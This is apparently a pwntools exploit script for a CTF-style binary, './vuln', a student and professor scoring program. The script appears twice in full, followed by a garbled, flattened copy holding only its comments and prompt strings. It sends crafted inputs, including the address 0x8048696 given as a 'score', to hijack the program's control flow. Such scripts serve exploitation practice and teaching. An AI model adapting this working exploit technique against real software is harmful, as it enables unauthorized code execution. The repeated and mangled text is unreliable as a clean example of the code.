#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./vuln
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vuln')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
#break *0x{exe.symbols.main:x}
b *0x08048a7c 
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)
"""
Score Given: %d \n
Input the name of a student\n
Input the name of the favorite professor of a student \n
Input the name of the student that will give the score \n
Input the name of the professor that will be scored \n
Input the score: \n
"""

def wait_till_send_input(io, prompt, data):
    io.recvuntil(prompt)
    if 128 <= len(data):
        io.send(data)
    else:
        io.sendline(data)

def input_student(io, student_name):
    wait_till_send_input(io, "Input the name of a student", student_name)

def input_student_fav_prof(io, professor_name):
    wait_till_send_input(io, "Input the name of the favorite professor of a student", professor_name)

def input_student_giving_score(io, name):
    wait_till_send_input(io, "Input the name of the student that will give the score", name)

def input_prof_being_scored(io, name):
    wait_till_send_input(io, "Input the name of the professor that will be scored", name)

def input_score(io, score):
    wait_till_send_input(io, "Input the score:", score)


def send_user_input(io, student, student_fav_prof, student_giving, prof_scored, score):
    input_student(io, student)
    input_student_fav_prof(io, student_fav_prof)
    input_student_giving_score(io, student_giving)
    input_prof_being_scored(io, prof_scored)
    input_score(io, (score))

io = start()

STUD_NAME = "STUD1"
PROF_NAME = "PROF1"
send_user_input( io, STUD_NAME, PROF_NAME, STUD_NAME, PROF_NAME, str(0x8048696));
send_user_input( io, PROF_NAME, "PROF2",   PROF_NAME, "PROF2"  , str(100));

io.interactive()


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./vuln
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vuln')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
#break *0x{exe.symbols.main:x}
b *0x08048a7c 
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)
"""
Score Given: %d \n
Input the name of a student\n
Input the name of the favorite professor of a student \n
Input the name of the student that will give the score \n
Input the name of the professor that will be scored \n
Input the score: \n
"""

def wait_till_send_input(io, prompt, data):
    io.recvuntil(prompt)
    if 128 <= len(data):
        io.send(data)
    else:
        io.sendline(data)

def input_student(io, student_name):
    wait_till_send_input(io, "Input the name of a student", student_name)

def input_student_fav_prof(io, professor_name):
    wait_till_send_input(io, "Input the name of the favorite professor of a student", professor_name)

def input_student_giving_score(io, name):
    wait_till_send_input(io, "Input the name of the student that will give the score", name)

def input_prof_being_scored(io, name):
    wait_till_send_input(io, "Input the name of the professor that will be scored", name)

def input_score(io, score):
    wait_till_send_input(io, "Input the score:", score)


def send_user_input(io, student, student_fav_prof, student_giving, prof_scored, score):
    input_student(io, student)
    input_student_fav_prof(io, student_fav_prof)
    input_student_giving_score(io, student_giving)
    input_prof_being_scored(io, prof_scored)
    input_score(io, (score))

io = start()

STUD_NAME = "STUD1"
PROF_NAME = "PROF1"
send_user_input( io, STUD_NAME, PROF_NAME, STUD_NAME, PROF_NAME, str(0x8048696));
send_user_input( io, PROF_NAME, "PROF2",   PROF_NAME, "PROF2"  , str(100));

io.interactive()


#!/usr/bin/env python2 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./vuln # Set up pwntools for the correct architecture # Many built-in settings can be controlled on the command-line and show up # in "args".  For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR Start the exploit against the target. # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB #break *0x{exe.symbols.main:x} b *0x08048a7c  continue #=========================================================== #                    EXPLOIT GOES HERE #=========================================================== # Arch:     i386-32-little # RELRO:    Partial RELRO # Stack:    Canary found # NX:       NX enabled # PIE:      No PIE (0x8048000) Score Given: %d \n Input the name of a student\n Input the name of the favorite professor of a student \n Input the name of the student that will give the score \n Input the name of the professor that will be scored \n Input the score: \n